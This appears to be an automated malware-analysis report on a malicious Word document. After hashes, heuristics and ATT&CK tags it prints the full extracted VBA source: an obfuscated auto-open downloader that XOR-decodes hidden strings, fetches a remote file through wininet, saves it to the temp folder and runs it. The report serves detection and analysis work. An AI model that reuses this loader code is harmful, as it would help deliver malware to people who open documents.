Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db3e630856433502…

MALICIOUS

Office (OLE)

91.0 KB Created: 2015-01-19 17:07:00 Authoring application: Microsoft Office Word First seen: 2015-04-05
MD5: 26755ce76f1104a615e1224440192949 SHA-1: 215551738e4103b55b01ca86fff6119539bca036 SHA-256: db3e6308564335022e38de73bdf6357e9879a0cc6af05d8aac33e7cc62b6a96a
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a critical heuristic firing for an obfuscated auto-exec VBA loader, indicating malicious intent. The VBA macro uses CreateObject to instantiate objects like 'Shell.Application' and executes commands, likely to download and run a secondary payload. The presence of obfuscated VBA code and the use of CreateObject for execution are strong indicators of a downloader or dropper malware.

Heuristics 8

  • ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set FSOOO2 = CreateObject(Kcmdw32d(taRrRas, fiadifHJ))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FSOOO2 = CreateObject(Kcmdw32d(taRrRas, fiadifHJ))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9842 bytes
SHA-256: 00a84e071a5d875a7370e6926e01d5ec07fdaa90b205922862371f8846b0de5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
ascascascasc
End Sub

Attribute VB_Name = "Module2"
Public Function Kcmdw32d(asasas1oO1 As String, asasas1oO As String) As String
    Dim asasas1 As Long
    Dim asasas1O As String
    Dim asasas10 As Integer
    Dim asasas101 As Integer
    Dim sdsssss As Integer
For sdsssss = 0 To 0
If sdsssss = 15 Then End
Next sdsssss
    For asasas1 = 1 To (Len(asasas1oO) / 2)
        asasas10 = Val("&H" & (Mid$(asasas1oO, (2 * asasas1) - 1, 2)))
        asasas101 = Asc(Mid$(asasas1oO1, ((asasas1 Mod Len(asasas1oO1)) + 1), 1))
        Dim sdssssss As Integer
        For sdssssss = 0 To 0
        If sdssssss = 15 Then End
        Next sdssssss
        asasas1O = asasas1O + Chr(asasas10 Xor asasas101)
    Next asasas1
   Kcmdw32d = asasas1O
End Function

Attribute VB_Name = "Module11"
Private Const zizuZaZ1 = "300C065D5D1F70424221072405170D0C5F"
Private Const mNcajafHH = "22202C75731F624640280F2A"
Private Const GGG = "242137"
Private Const HamPaUmaa = "2E373B7C7D031F6A7F0126133033"
Private Const kakakzkKK = "3F0836454252500100630B3F01"
Private Const udsuLLL = "0B1017410B1E1E02017A5A7706544A0D5445425E5E5A221D334A000B0E1E5B421E505B2340221C06"
Private Const fiadifHJ = "300711584145585C5563282E0806371A4245545C7D50270B2410"
Private Const taRrRas = "dcdc111122MnG"






Sub ascascascasc()
Dim FSOOO2
Dim sder53dfbhRF As Integer
For sder53dfbhRF = 0 To 0
If sder53dfbhRF = 5 Then End
Next sder53dfbhRF
Set FSOOO2 = CreateObject(Kcmdw32d(taRrRas, fiadifHJ))
Dim fffffF
Const fffffFID = 2
Dim DdDd22A As Integer
For DdDd22A = 0 To 0
If DdDd22A = 5 Then End
Next DdDd22A
Set fffffF = FSOOO2.GetSpecialFolder(fffffFID)
Dim Ee11 As Integer
For Ee11 = 0 To 0
If Ee11 = 5 Then End
Next Ee11
EdEdE111 = fffffF & Kcmdw32d(taRrRas, kakakzkKK)
Dim sil3489df As Integer
For sil3489df = 0 To 0
If sil3489df = 5 Then End
Next sil3489df
Set FSObject2 = CreateObject(Kcmdw32d(taRrRas, fiadifHJ))
Dim seswwwsa As Integer
For seswwwsa = 0 To 0
If seswwwsa = 5 Then End
Next seswwwsa
If FSObject2.FileExists(EdEdE111) Then
FSObject2.DeleteFile EdEdE111
End If
If ohohohO1(Kcmdw32d(taRrRas, udsuLLL), EdEdE111) Then
End If
Set SSSS = Nothing
If FSObject2.FileExists(EdEdE111) Then
End If
Set SASASA = CreateObject(Kcmdw32d(taRrRas, zizuZaZ1))
SASASA.Open EdEdE111
End Sub






Attribute VB_Name = "Module1"

Public Sub PkDxnSccbg()

End Sub
Private Sub IHYbeVuJC()
GoTo TZmwRfSEgCdKcNRsSeYqnJf
TZmwRfSEgCdKcNRsSeYqnJf:
GoTo sDUkFsCaUyA
sDUkFsCaUyA:
GoTo GODjstrwTahLZosumLbSDlnHkpCzivUUw
GODjstrwTahLZosumLbSDlnHkpCzivUUw:
GoTo tNsQiIjuoGpMwGMIUlHJSqlOQxDQfTz
tNsQiIjuoGpMwGMIUlHJSqlOQxDQfTz:
GoTo uykqyOpoEux
uykqyOpoEux:
GoTo rVTBqKArFPyylmMVi
rVTBqKArFPyylmMVi:
GoTo IhzKzw
IhzKzw:
GoTo FdMQdZlBCYajGoQNTnvkPL
FdMQdZlBCYajGoQNTnvkPL:
GoTo PAtAfFrHKNFeHmVR
PAtAfFrHKNFeHmVR:

End Sub
Private Sub RIVgO()
GoTo myMuLxBcPMGZVtOntBESoqzJEi
myMuLxBcPMGZVtOntBESoqzJEi:
GoTo kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd
kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd:
GoTo NRsSeqnJfEwsDUkFsCaUyAhAG
NRsSeqnJfEwsDUkFsCaUyAhAG:
GoTo jstrwTahLZYosuLbSDlnHk
jstrwTahLZYosuLbSDlnHk:
GoTo zivUUwERtNsQiIuoGpMwG
zivUUwERtNsQiIuoGpMwG:
GoTo UlAHJSqlOQxDQfT
UlAHJSqlOQxDQfT:

End Sub
Private Sub vuykqyOpo()
GoTo NrVTBqKAr
NrVTBqKAr:
GoTo yylmMViKeIhzKzwqIFMQdZlBwyHfL
yylmMViKeIhzKzwqIFMQdZlBwyHfL:
GoTo msLTIokkjoZRZD
msLTIokkjoZRZD:
GoTo gjmeCgKuqfzqguEnn
gjmeCgKuqfzqguEnn:
GoTo oKQlSkVaAolfxuRnL
oKQlSkVaAolfxuRnL:

End Sub
Public Function adrMOYidGVoIc()
GoTo AzEpipThgwzCu
AzEpipThgwzCu:
GoTo bKtvPsx
bKtvPsx:
GoTo qDrdEbaBjAmqQqBvNLi
qDrdEbaBjAmqQqBvNLi:
GoTo UQctH
UQctH:
GoTo bytQYEZemcHQRPUsyF
bytQYEZemcHQRPUsyF:
GoTo wMPSKkyrcJLg
wMPSKkyrcJLg:
GoTo bYGTttUdqRmQpGhHS
bYGTttUdqRmQpGhHS:

End Function
Public Function Nk3Tflh()
GoTo irOJnpV
irOJnpV:
GoTo DsYTTRQIOVn
DsYTTRQIOVn:
GoTo dSVNmPusaOjZPeoQQ
dSVNmPusaOjZPeoQQ:
GoTo luGiChFYjYUOheBl
luGiChFYjYUOheBl:
GoTo xJabwyHfLpFms
xJabwyHfLpFms:
GoTo IokkjoZRZDePgjmeCgK
IokkjoZRZDePgjmeCgK:
GoTo fzqguEnnaM
fzqguEnnaM:

End Function
Private Function QlSkVaAo85668lfxu()

End Function
Public Function Nad121112rMOYidGVoI6c()
GoTo AzEpipThgwzCuibKtvPsxKUqDrdEbaBj
AzEpipThgwzCuibKtvPsxKUqDrdEbaBj:
GoTo qQqBvNLi
qQqBvNLi:
GoTo UQctHQbytQY
UQctHQbytQY:
GoTo emcHQRPUsyFkxwMPSKky
emcHQRPUsyFkxwMPSKky:
GoTo JLgIN
JLgIN:
GoTo GTttUdqRmQpGhHSMfNkT
GTttUdqRmQpGhHSMfNkT:
GoTo hsJZgirO
hsJZgirO:

End Function
Public Function pVcssdssvDsY()
GoTo IOVnNMdSVNmPusaOjZPe
IOVnNMdSVNmPusaOjZPe:
GoTo QJJluGiChFYjY1111UOheBlv
QJJluGiChFYjY1111UOheBlv:
GoTo JabwyHfLpFms
JabwyHfLpFms:
GoTo IokkjoZRZDePgjmeCgKqfzqg34353uEnnaM
IokkjoZRZDePgjmeCgKqfzqg34353uEnnaM:
GoTo QlSkVaAolfxuRnLR
QlSkVaAolfxuRnLR:
GoTo drMOY
drMOY:
GoTo GVoIc
GVoIc:
GoTo rAAzEpipThgwzCuS
rAAzEpipThgwzCuS:
GoTo KtvPs
KtvPs:

End Function
Private Function UqDrdEbaBjAm()

End Function
Private Function vNLiDcUQctH()

End Function
Public Sub tQYEZemcHQ()

End Sub
Public Function yFkxwMPS()
GoTo cJLgIsssssNbYGT
cJLgIsssssNbYGT:
GoTo UdS33434qRmQpGhHS
UdS33434qRmQpGhHS:
GoTo NkTflaaAAaaAAhJZgirOJnpV
NkTflaaAAaaAAhJZgirOJnpV:

End Function
Public Function DsYTTRQIO()

End Function
Public Function dSVVVVVVVNmPusaOjZP()
GoTo sdss
sdss:
GoTo sdvsSVEWEFsdsgEGWEG
sdvsSVEWEFsdsgEGWEG:
GoTo oZRZDeP
oZRZDeP:
GoTo meCgKuqf
meCgKuqf:

End Function
Private Function gssSSSuEnnaMo()

End Function
Private Sub SDFVSDDDDDDDDDF()

End Sub
Public Sub OYidGVvsdvsdvoIcVLrA()

End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{630DB388-67EB-4525-AA36-F3CD39EFF09D}{34D1DADB-6F15-4868-BC05-5678EFA11FD7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module3"
Option Explicit

Private Const MBL = 8162
Private Const AAN As String = "VB Program"
Private Const IOTD = 1
Private Const IFNCW = &H4000000
#If VBA7 And Win64 Then
Private Declare PtrSafe Function acs333456 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Private Declare PtrSafe Function acs333 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Private Declare PtrSafe Function acs33345 Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As LongPtr, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare PtrSafe Function acs3334 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Private Declare Function acs333456 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Private Declare Function acs333 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function acs33345 Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As Long, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function acs3334 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If
Public Function ohohohO1(ByVal sURL As String, ByVal sFileName As String) As Boolean
    #If VBA7 And Win64 Then
        Dim hOpen As LongPtr, hFile As LongPtr
    #Else
        Dim hOpen As Long, hFile As Long
    #End If
    Dim Ret As Long
    Dim sBuff As String * MBL, sData As String
    Dim iFile As Integer, dData As Double
    Dim step000001 As Integer
For step000001 = 0 To 0
If step000001 = 5 Then End
Next step000001
    hOpen = acs333(AAN, IOTD, vbNullString, vbNullString, 0)
    If hOpen = 0 Then
        Exit Function
    End If
    hFile = acs3334(hOpen, sURL, vbNullString, 0, IFNCW, 0)
    If hFile = 0 Then
        dData = 0
    Else
        acs33345 hFile, sBuff, MBL, Ret
        sData = sBuff
        Do While Ret <> 0
            acs33345 hFile, sBuff, MBL, Ret
            sData = sData + Mid(sBuff, 1, Ret)
        Loop
        dData = Len(sData): iFile = FreeFile
                Dim step000003 As Integer
For step000003 = 0 To 0
If step000003 = 5 Then End
Next step000003
        Open sFileName For Binary Access Write Lock Write As #iFile
         Dim step000004 As Integer
For step000004 = 0 To 0
If step000004 = 5 Then End
Next step000004
        Put #iFile, , sData: Close #iFile
    End If
        Dim step000002 As Integer
For step000002 = 0 To 0
If step000002 = 5 Then End
Next step000002
    acs333456 hFile
    acs333456 hOpen
    sData = ""
    If dData Then
        ohohohO1 = True
    End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.